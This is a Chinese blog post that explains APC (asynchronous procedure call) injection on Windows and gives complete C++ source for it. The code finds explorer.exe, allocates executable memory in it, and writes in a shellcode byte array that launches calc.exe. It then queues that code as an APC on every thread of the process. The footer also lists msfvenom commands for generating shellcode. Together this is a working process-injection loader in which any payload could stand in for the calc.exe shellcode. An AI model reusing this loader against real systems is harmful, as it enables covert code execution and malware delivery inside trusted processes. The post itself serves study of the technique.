首页 > 其他分享 >注入——APC注入

注入——APC注入

时间:2023-01-02 16:33:47浏览次数:39  
标签:processEntry 0x8B 0x00 0x01 线程 APC 注入

APC注入即异步过程调用,APC是一个链状的数据结构,可以让一个线程在其原本的执行步骤前执行其他代码,每个线程都维护一个APC链。当线程从等待状态苏醒后,自动检测自己的APC队列中是否存在APC过程。

只需要将目标的线程的APC队列中添加APC过程,为了提高命中率可以向线程的所有线程中添加APC过程,然后促使线程从休眠中恢复,就可以实现APC注入。

1、OpenProcess打开进程

2、VirtualAllocEx申请内存空间

3、WriteProcessMemory向刚刚申请的空间写入要执行的内容

4、使用QueueUserAPC插入执行

 

测试结果:

 

代码展示:

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>

int main()
{
	unsigned char buf[] = {
	0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
	0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
	0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
	0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
	0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
	0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
	0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
	0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
	0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
	0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
	0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
	0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
	0x00
	};

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
	HANDLE victimProcess = NULL;
	PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
	THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
	std::vector<DWORD> threadIds;
	SIZE_T shellSize = sizeof(buf);
	HANDLE threadHandle = NULL;

	if (Process32First(snapshot, &processEntry)) {
		while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
			Process32Next(snapshot, &processEntry);
		}
	}

	victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
	LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
	WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);

	if (Thread32First(snapshot, &threadEntry)) {
		do {
			if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
				threadIds.push_back(threadEntry.th32ThreadID);
			}
		} while (Thread32Next(snapshot, &threadEntry));
	}

	for (DWORD threadId : threadIds) {
		threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
		QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
		Sleep(1000 * 2);
	}

	return 0;
}

 

标签:processEntry,0x8B,0x00,0x01,线程,APC,注入
From: https://www.cnblogs.com/wuruixin/p/17020073.html

相关文章

  • windows下PHP APC拓展的安装和配置
    APC简介APC(AlternativePHPCache)是一个PHP缓存。它在内存中存储PHP页面并且减少了硬盘的I/O。这对于性能的提升十分明显。你甚至可以在CPU使用率下降50%的情况下提升系统50......
  • 注入——远程线程注入
    生成一段Shellcode,用于弹出计算器,若注入成功,则弹出成功。MSF命令如下:弹出计算器CALCmsfvenom-pwindows/execcmd=calc.exe-fraw-oshellcode.bin弹出CMDmsfvenom......
  • 报错注入语句
    常用的三个报错注入语句:floor报错and(select1from(selectcount(*),concat(user(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)--+unionse......
  • 简单sql注入思路
    1.判断注入点猜解列名数量....?id=1orderbyx (x为数字)2.报错猜解...?id=-1selecet1,2,..,x3.信息收集数据库版本:version()数据库名字:database()数据库用户:user()......
  • .net core (.net 6) IOC容器注入 -- autofac
    注:接口代码、类库代码参考:.netcore(.net6)IOC容器注入--内置容器 Autofac容器优点:灵活(属性注入、多种生命周期、AOP扩展)、比较流行(技术门槛低)1、引入NuGet包Auto......
  • .net core (.net 6) IOC容器注入--内置容器
    1、添加类库项目 Demo02.Interface、Demo02.Service 2、创建ITestServiceA接口namespaceDemo02.Interface{publicinterfaceITestServiceA{p......
  • 10-Mysql注入漏洞
    手工注入:get:url中带参数xxx.asp/asp?id=123123单引号and1=1/-0baidu.com/xxx.php?id=12312string=hasdfsdstring=网站asp/aspxaccess/sqlserverpost:搜索框、登录、注册、......
  • 模拟量直流信号隔离放大转换器0-75mV/0-±10V/0-5V转0-±100mV/0-20mA/4-20mAPCB模块
    ​概述:导轨安装DIN11IPOOC系列模拟信号隔离放大器是一种将输入信号隔离放大、转换成按比例输出的直流信号混合集成厚模电路。产品广泛应用在电力、远程监控、仪器仪表、医......
  • 5号黯区WEB靶场-注入漏洞-sql server get注入(sa)
    1手工注入1、判断是否有注入。加单引号发现有报错,存在报错注入。http://bug.cc:8201/get.aspx?id=1' and1=1显示正常, and1=2不显示数据,存在布尔型注入。http://b......
  • windows 启动exe程序前注入dll(c++)
    //需要的头文件:#include<iostream>#include<stdarg.h>#include<Windows.h>#include<Psapi.h>#include<stdint.h>#include<tlhelp32.h>#include<imagehlp.h>#pragmac......